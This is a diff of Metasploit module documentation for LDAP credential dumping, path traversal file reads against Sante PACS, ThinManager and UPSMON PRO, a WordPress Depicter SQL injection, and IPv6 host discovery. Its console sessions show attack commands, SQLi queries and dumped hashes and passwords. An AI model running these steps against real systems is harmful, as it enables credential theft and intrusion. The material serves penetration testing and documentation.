Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Actions
|
||||
|
||||
### Dump
|
||||
|
||||
Dump all LDAP data from the LDAP server.
|
||||
|
||||
## Options
|
||||
|
||||
### BASE_DN
|
||||
|
||||
If you already have the LDAP base DN, you may set it in this option.
|
||||
|
||||
### USER_ATTR
|
||||
|
||||
LDAP attribute to take the user name from. Defaults to DN, however you may
|
||||
wish to change it UID, name or similar.
|
||||
|
||||
### PASS_ATTR
|
||||
|
||||
LDAP attribute to take the password hash from. Defaults to userPassword,
|
||||
some LDAP server may use different attribute, e.g. unixUserPassword,
|
||||
sambantpassword, sambalmpassword.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Avaya Communication Manager via anonymous bind
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/ldap_hashdump
|
||||
msf5 auxiliary(gather/ldap_hashdump) > options
|
||||
|
||||
Module options (auxiliary/gather/ldap_hashdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USER_ATTR dn no LDAP attribute, that contains username
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump all LDAP data
|
||||
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
|
||||
RHOSTS => [redacted_ip_address]
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against [redacted_ip_address]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=vsp
|
||||
[*] Dumping LDAP data from server at [redacted_ip_address]:389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
|
||||
[*] Searching for attribute: userPassword
|
||||
[*] Taking dn attribute as username
|
||||
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
|
||||
USER_ATTR => uid
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against [redacted_ip_address]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=vsp
|
||||
[*] Dumping LDAP data from server at [redacted_ip_address]:389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
|
||||
[*] Searching for attribute: userPassword
|
||||
[*] Taking uid attribute as username
|
||||
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/ldap_hashdump) >
|
||||
```
|
||||
|
||||
### NASDeluxe - NAS with Samba LM/NTLM hashes
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
|
||||
USER_ATTR => uid
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
|
||||
PASS_ATTR => sambantpassword
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
|
||||
RHOSTS => [redacted_ip_address]
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against [redacted_ip_address]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=server,dc=nas
|
||||
[*] Dumping LDAP data from server at [redacted_ip_address]:389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
|
||||
[*] Searching for attribute: sambantpassword
|
||||
[*] Taking uid attribute as username
|
||||
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
|
||||
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against [redacted_ip_address]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=server,dc=nas
|
||||
[*] Dumping LDAP data from server at [redacted_ip_address]:389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
|
||||
[*] Searching for attribute: sambalmpassword
|
||||
[*] Taking uid attribute as username
|
||||
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
|
||||
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,152 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module will gather passwords and password hashes from a target LDAP server via multiple techniques including
|
||||
Windows LAPS.
|
||||
|
||||
### Setup (OpenLDAP via Docker)
|
||||
|
||||
Tested in the wild.
|
||||
|
||||
You may eventually setup an intentionally insecure OpenLDAP server in docker.
|
||||
The below OpenLDAP server does not have any ACL, therefore the hashPassword
|
||||
attributes are readable by anonymous clients.
|
||||
|
||||
```
|
||||
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
|
||||
$ cd bitnami-docker-openldap
|
||||
$ docker-compose up -d
|
||||
Creating bitnami-docker-openldap_openldap_1 ... done
|
||||
```
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
|
||||
[*] Reloading module...
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovered base DN: dc=example,dc=org
|
||||
[*] The target LDAP server is not an Active Directory Domain Controller.
|
||||
[*] Searching base DN: dc=example,dc=org
|
||||
[+] Credentials (password) found in userpassword: user01:password1
|
||||
[+] Credentials (password) found in userpassword: user02:password2
|
||||
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_passwords) >
|
||||
```
|
||||
|
||||
### Setup (Windows LAPSv1)
|
||||
1. Start with a Windows Domain Controller
|
||||
2. Install all the programs from the applicable binary from https://www.microsoft.com/en-us/download/details.aspx?id=46899
|
||||
3. Make sure the user account is a Schema Admin, reboot after joining the group
|
||||
4. Set the Group Policy settings as noted in Section 3 of the “LAPS_OperationsGuide.docx” file
|
||||
5. Run the UI as noted in Section 4, the LDAP attributes should be populated at this point
|
||||
|
||||
### Setup (Windows LAPSv2)
|
||||
1. Start with a Windows Domain Controller that has the April 2023 security update installed
|
||||
2. Follow the instructions from https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Options
|
||||
|
||||
### BASE_DN
|
||||
|
||||
If you already have the LDAP base DN, you may set it in this option.
|
||||
|
||||
### USER_ATTR
|
||||
|
||||
LDAP attribute to that contains the username. Defaults to the first attribute that exists in the search order
|
||||
`sAMAccountName` (Active Directory), `uid` (OpenLDAP), `dn`.
|
||||
|
||||
### PASS_ATTR
|
||||
|
||||
LDAP attribute to take the password data from. This option will be added to the array of options the module always
|
||||
searches for.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Avaya Communication Manager via anonymous bind
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_passwords) > options
|
||||
|
||||
Module options (auxiliary/gather/ldap_passwords):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
PASS_ATTR userPassword no Additional LDAP attribute(s) that contain password hashes
|
||||
READ_TIMEOUT 600 no LDAP read timeout in seconds
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USER_ATTR no LDAP attribute(s), that contains username
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LDAPDomain no The domain to authenticate to
|
||||
LDAPPassword no The password to authenticate with
|
||||
LDAPUsername no The username to authenticate with
|
||||
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 no The target port
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1
|
||||
RHOSTS => 192.0.2.1
|
||||
|
||||
msf6 auxiliary(gather/ldap_passwords) > run
|
||||
[*] Discovered base DN: dc=vsp
|
||||
[*] The target LDAP server is not an Active Directory Domain Controller.
|
||||
[*] Searching base DN: dc=vsp
|
||||
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[*] Found 2 entries and 2 credentials in 'dc=vsp'.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### NASDeluxe - NAS with Samba LM/NTLM hashes
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1
|
||||
RHOSTS => 192.0.2.1
|
||||
|
||||
msf5 auxiliary(gather/ldap_passwords) > run
|
||||
[*] Running module against 192.0.2.1
|
||||
|
||||
[*] Discovered base DN: dc=server,dc=nas
|
||||
[*] The target LDAP server is not an Active Directory Domain Controller.
|
||||
[*] Searching base DN: dc=server,dc=nas
|
||||
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
|
||||
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
|
||||
[*] Found 2 entries and 2 credentials in 'dc=server,dc=nas'.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Windows Server 2019 - LAPSv2 with Encryption
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_passwords) > run ldap://msflab.local;smcintyre:Password1!@192.0.2.10
|
||||
[*] Discovered base DN: DC=msflab,DC=local
|
||||
[*] The target LDAP server is an Active Directory Domain Controller.
|
||||
[*] Searching base DN: DC=msflab,DC=local
|
||||
[+] Credentials (password) found in mslaps-encryptedpassword: Administrator:m8L3A.LcZ9!lnT (expires: 2025-03-08 17:22:57 UTC)
|
||||
[*] Found 1 entries and 1 credentials in 'DC=msflab,DC=local'.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_passwords) >
|
||||
```
|
||||
@@ -0,0 +1,68 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a path traversal vulnerability in Sante PACS Server <= v4.1.0 (CVE-2025-2264) to read arbitrary files from the system.
|
||||
|
||||
## Testing
|
||||
|
||||
The software can be obtained from
|
||||
[the vendor](https://www.santesoft.com/win/sante-pacs-server/download.html).
|
||||
|
||||
By default, the server listens on TCP port 3000 on all network interfaces.
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- Sante PACS Server v4.1.0 on Windows 22H2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and run the application
|
||||
2. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/pacsserver_traversal
|
||||
msf6 auxiliary(gather/pacsserver_traversal) > set RHOSTS <IP>
|
||||
msf6 auxiliary(gather/pacsserver_traversal) > run
|
||||
```
|
||||
|
||||
This should return the database for the web server. Any files retrieved will
|
||||
be stored as loot.
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
The file to be retrieved from the file system. By default, this is the database for the web server, HTTP.db. However, any arbitrary
|
||||
file can be specified.
|
||||
|
||||
Example: /.HTTP/HTTP.db
|
||||
|
||||
### DEPTH
|
||||
The traversal depth. The FILE path will be prepended with /assets/ + ../ * DEPTH.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against v4.1.0 on Windows 22H22 should result in an output similar to the following:
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/pacsserver_traversal) > run
|
||||
[*] Running module against 192.168.137.217
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[+] File retrieved: /assets/../../.HTTP/HTTP.db
|
||||
[*] File saved as loot.
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
|
||||
The file will be stored as loot:
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/upsmon_traversal) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
192.168.137.217 pacsserver.file /.HTTP/HTTP.db text/plain File retrieved through PACS Server path traversal. /home/foo/.msf4/loot/20250502165539_default_192.168.137.217_pacsserver.file_594385.txt
|
||||
```
|
||||
@@ -0,0 +1,69 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27856) to download an arbitrary file from the
|
||||
system.
|
||||
|
||||
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
|
||||
|
||||
**Limitation**: Some files may get mangled by the application during transit.
|
||||
|
||||
## Testing
|
||||
|
||||
The software can be obtained from
|
||||
[the vendor](https://thinmanager.com/downloads/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- ThinManager v13.0.1 on Windows 22H2
|
||||
- ThinManager v13.0.0 on Windows 22H2
|
||||
- ThinManager v12.1.5 on Windows 22H2
|
||||
- ThinManager v11.1.4 on Windows 22H2
|
||||
- ThinManager v10.0.2 on Windows 22H2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and run the application
|
||||
2. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/thinmanager_traversal_download
|
||||
msf6 auxiliary(gather/thinmanager_traversal_download) > set RHOSTS <IP>
|
||||
msf6 auxiliary(gather/thinmanager_traversal_download) > set FILE <file to download>
|
||||
msf6 auxiliary(gather/thinmanager_traversal_download) > run
|
||||
```
|
||||
|
||||
This should retrieve the file as specified through FILE from the remote server.
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
The file to download from the remote server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/thinmanager_traversal_download) > run
|
||||
[*] Running module against 192.168.137.227
|
||||
|
||||
[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] 192.168.137.227:2031 - The service is running, but could not be validated.
|
||||
[*] 192.168.137.227:2031 - Sending handshake...
|
||||
[*] 192.168.137.227:2031 - Received handshake response.
|
||||
[*] 192.168.137.227:2031 - Requesting /Windows/win.ini from 192.168.137.227
|
||||
[+] 192.168.137.227:2031 - Received response from target.
|
||||
[*] 192.168.137.227:2031 - File saved as loot: /home/asdf/.msf4/loot/20250506150022_default_192.168.137.227_thinmanager.file_334213.txt
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(gather/thinmanager_traversal_download) > cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt
|
||||
[*] exec: cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt
|
||||
|
||||
; for 16-bit app support
|
||||
[fonts]
|
||||
[extensions]
|
||||
[mci extensions]
|
||||
[files]
|
||||
[Mail]
|
||||
MAPI=1
|
||||
```
|
||||
@@ -0,0 +1,86 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a path traversal vulnerability in UPSMON PRO <= v2.61 (CVE-2022-38120) to read arbitrary files from the system.
|
||||
By default, the configuration file will be retrieved, which contains the credentials (CVE-2022-38121) for the web service, mail server,
|
||||
application, and SMS service.
|
||||
However, any arbitrary file can be specified.
|
||||
|
||||
## Testing
|
||||
|
||||
The software can be obtained from
|
||||
[the vendor](https://www.upspowercom.com/PRO-Windows.jsp).
|
||||
|
||||
The web server is disabled by default and needs to be enabled first. In the menu, go to Configuration > UPS Connect, and enable the Web
|
||||
Server checkbox.
|
||||
By default, the server listens on TCP port 8000 on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM.
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- UPSMON PRO v2.61 on Windows 22H2
|
||||
- UPSMON PRO v2.57 on Windows 22H2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and run the application
|
||||
2. Enable the Web Server module
|
||||
3. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/upsmon_traversal
|
||||
msf6 auxiliary(gather/upsmon_traversal) > set RHOSTS <IP>
|
||||
msf6 auxiliary(gather/upsmon_traversal) > run
|
||||
```
|
||||
|
||||
This should return the UPSMON PRO configuration file, UPSMON.ini, which contains various cleartext credentials. Any files retrieved will
|
||||
be stored as loot.
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
The file to be retrieved from the file system. By default, this is the UPSMON PRO configuration file, UPSMON.ini. However, any arbitrary
|
||||
file can be specified.
|
||||
|
||||
Example: /Users/Public/UPSMON-Pro/UPSMON.ini
|
||||
|
||||
### DEPTH
|
||||
The traversal depth. The FILE path will be prepended with ../ * DEPTH.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against v2.61 on Windows 22H22 should result in an output similar to the following:
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/upsmon_traversal) > run
|
||||
[*] Running module against 192.168.137.218
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[+] File retrieved: ../../../../Users/Public/UPSMON-Pro/UPSMON.ini
|
||||
[*] UPSMON.ini specified, parsing credentials:
|
||||
[*] SMTP: (not configured)
|
||||
[*] Port: 25
|
||||
[*] Email UserName: (not configured)
|
||||
[*] Email Password: (not configured)
|
||||
[*] WebServer UserName: UPSMON
|
||||
[*] WebServer Password: UPSMON
|
||||
[*] Main AppPassword: UPSMON
|
||||
[*] SMS UserName: (not configured)
|
||||
[*] SMS Password: (not configured)
|
||||
[*] UPS Name: (not configured)
|
||||
[*] Phone Number: (not configured)
|
||||
[*] File saved as loot.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The file will be stored as loot:
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/upsmon_traversal) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
192.168.137.218 upsmonpro.file /USERS/public/upsmon-pro/upsmon.ini text/plain File retrieved through UPSMON PRO path traversal. /home/foo/.msf4/loot/20250502145519_default_192.168.137.218_upsmonpro.file_396058.txt
|
||||
```
|
||||
@@ -6,7 +6,7 @@ This module uses an anonymous-bind LDAP connection to dump data from
|
||||
the vmdir service in VMware vCenter Server version 6.7 prior to the
|
||||
6.7U3f update, only if upgraded from a previous release line, such as
|
||||
6.0 or 6.5.
|
||||
If the bind username and password are provided (BIND_DN and BIND_PW
|
||||
If the bind username and password are provided (BIND_DN and LDAPPassword
|
||||
options), these credentials will be used instead of attempting an
|
||||
anonymous bind.
|
||||
|
||||
@@ -36,18 +36,33 @@ If you already have the LDAP base DN, you may set it in this option.
|
||||
### VMware vCenter Server 6.7 virtual appliance on ESXi
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/vmware_vcenter_vmdir_ldap
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > options
|
||||
msf6 auxiliary(gather/vmware_vcenter_vmdir_ldap) > show options
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
Module options (auxiliary/gather/vmware_vcenter_vmdir_ldap):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LDAPDomain no The domain to authenticate to
|
||||
LDAPPassword no The password to authenticate with
|
||||
LDAPUsername no The username to authenticate with
|
||||
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
|
||||
metasploit.html
|
||||
RPORT 636 no The target port
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -57,6 +72,8 @@ Auxiliary action:
|
||||
Dump Dump all LDAP data
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > set rhosts [redacted]
|
||||
rhosts => [redacted]
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > run
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerability affects the **Slider & Popup Builder by Depicter** plugin for WordPress,
|
||||
versions **up to 3.6.1**, allowing **unauthenticated SQL injection** via the `s` parameter on `admin-ajax.php`.
|
||||
WordPress itself must be installed.
|
||||
|
||||
### Pre-requisites
|
||||
|
||||
* **Docker** and **Docker Compose** installed.
|
||||
|
||||
|
||||
## Setup Instructions
|
||||
|
||||
1. **Create a `docker-compose.yml`** with:
|
||||
|
||||
```yaml
|
||||
version: '3.1'
|
||||
|
||||
services:
|
||||
wordpress:
|
||||
image: wordpress:latest
|
||||
restart: always
|
||||
ports:
|
||||
- 5555:80
|
||||
environment:
|
||||
WORDPRESS_DB_HOST: db
|
||||
WORDPRESS_DB_USER: chocapikk
|
||||
WORDPRESS_DB_PASSWORD: dummy_password
|
||||
WORDPRESS_DB_NAME: exploit_market
|
||||
mem_limit: 512m
|
||||
volumes:
|
||||
- wordpress:/var/www/html
|
||||
|
||||
db:
|
||||
image: mysql:5.7
|
||||
restart: always
|
||||
environment:
|
||||
MYSQL_DATABASE: exploit_market
|
||||
MYSQL_USER: chocapikk
|
||||
MYSQL_PASSWORD: dummy_password
|
||||
MYSQL_RANDOM_ROOT_PASSWORD: '1'
|
||||
volumes:
|
||||
- db:/var/lib/mysql
|
||||
|
||||
volumes:
|
||||
wordpress:
|
||||
db:
|
||||
```
|
||||
|
||||
2. **Start the environment**
|
||||
|
||||
```bash
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
3. **Install Depicter plugin**
|
||||
|
||||
```bash
|
||||
wget https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
|
||||
unzip depicter.3.6.1.zip
|
||||
docker cp depicter wordpress:/var/www/html/wp-content/plugins/
|
||||
```
|
||||
|
||||
4. **Activate Depicter**
|
||||
|
||||
* Browse to `http://localhost:5555/wp-admin`, log in as admin (create one if needed), and activate **Slider & Popup Builder by Depicter**.
|
||||
* No additional setup is required.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. **Launch Metasploit**
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
2. **Load the Depicter SQLi scanner**
|
||||
|
||||
```bash
|
||||
use auxiliary/gather/wp_depicter_sqli_cve_2025_2011
|
||||
set RHOSTS 127.0.0.1
|
||||
set RPORT 5555
|
||||
set TARGETURI /
|
||||
```
|
||||
|
||||
3. **Run the module**
|
||||
|
||||
```bash
|
||||
run
|
||||
```
|
||||
|
||||
4. **Observe output**
|
||||
|
||||
The module should:
|
||||
|
||||
* Retrieve the database name
|
||||
* Enumerate tables and infer the `wp_users` table
|
||||
* Extract `user_login:user_pass` for the number of rows set by `COUNT`
|
||||
|
||||
## Options
|
||||
|
||||
* **TARGETURI** (`/`): base path to WordPress
|
||||
* **COUNT** (`1`): number of user rows to retrieve
|
||||
|
||||
## Scenarios
|
||||
|
||||
```bash
|
||||
msf6 auxiliary(gather/wp_depicter_sqli_cve_2025_2011) > exploit
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] {SQLi} Executing (select 'bEJ')
|
||||
[*] {SQLi} Encoded to (select 0x62454a)
|
||||
[+] The target is vulnerable.
|
||||
[*] {SQLi} Executing (SELECT 15 FROM information_schema.tables WHERE table_name = 'wp_users')
|
||||
[*] {SQLi} Encoded to (SELECT 15 FROM information_schema.tables WHERE table_name = 0x77705f7573657273)
|
||||
[*] {WPSQLi} Retrieved default table prefix: 'wp_'
|
||||
[*] {SQLi} Executing (select group_concat(DCdo) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) DCdo from wp_users limit 1) ofAGxxQl)
|
||||
[*] {SQLi} Encoded to (select group_concat(DCdo) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xa,0)),ifnull(user_pass,repeat(0x2,0))) as binary) DCdo from wp_users limit 1) ofAGxxQl)
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[+] {WPSQLi} Credential for user 'chocapikk' created successfully.
|
||||
[*] {WPSQLi} Dumped user data:
|
||||
wp_users
|
||||
========
|
||||
|
||||
user_login user_pass
|
||||
---------- ---------
|
||||
chocapikk $wp$2y$10$rc5oXfNPG.bYSnbYvELKZeGgoQ9.QHcAXG8U/xunfXzsviMQkiPga
|
||||
|
||||
[+] Loot saved to: /home/chocapikk/.msf4/loot/20250521182202_default_127.0.0.1_wordpress.users_171366.txt
|
||||
[*] {WPSQLi} Reporting host...
|
||||
[*] {WPSQLi} Reporting service...
|
||||
[*] {WPSQLi} Reporting vulnerability...
|
||||
[+] {WPSQLi} Reporting completed successfully.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,48 @@
|
||||
## Description
|
||||
|
||||
This module is not intended to exploit a vulnerability, but rather to perform host discovery on IPv6-enabled local networks. It sends ICMPv6 Echo Requests to several well-known multicast addresses (e.g., FF02::1) and listens for any ICMPv6-based response.
|
||||
|
||||
This technique helps identify active IPv6 hosts and services, particularly when traditional IPv4 reconnaissance is limited or disabled. All responses — including Echo Replies, Neighbor Solicitations, and others — are valid evidence of a live host.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/discovery/ipv6_neighbor`
|
||||
2. Do: `set RHOSTS [IP]`
|
||||
3. Do: `set SHOST [IP]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 auxiliary(scanner/discovery/ipv6_multicast_ping) > set SHOST 10.0.2.4
|
||||
SHOST => 10.0.2.4
|
||||
msf6 auxiliary(scanner/discovery/ipv6_multicast_ping) > set RHOST 10.0.2.2-10RHOST => 10.0.2.2-10
|
||||
msf6 auxiliary(scanner/discovery/ipv6_multicast_ping) > run
|
||||
[*] Running module against 10.0.2.2
|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Running module against 10.0.2.3
|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Running module against 10.0.2.4
|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Running module against 10.0.2.5
|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Running module against 10.0.2.6
|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Running module against 10.0.2.7
|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Running module against 10.0.2.8
|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Running module against 10.0.2.9
|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Running module against 10.0.2.10
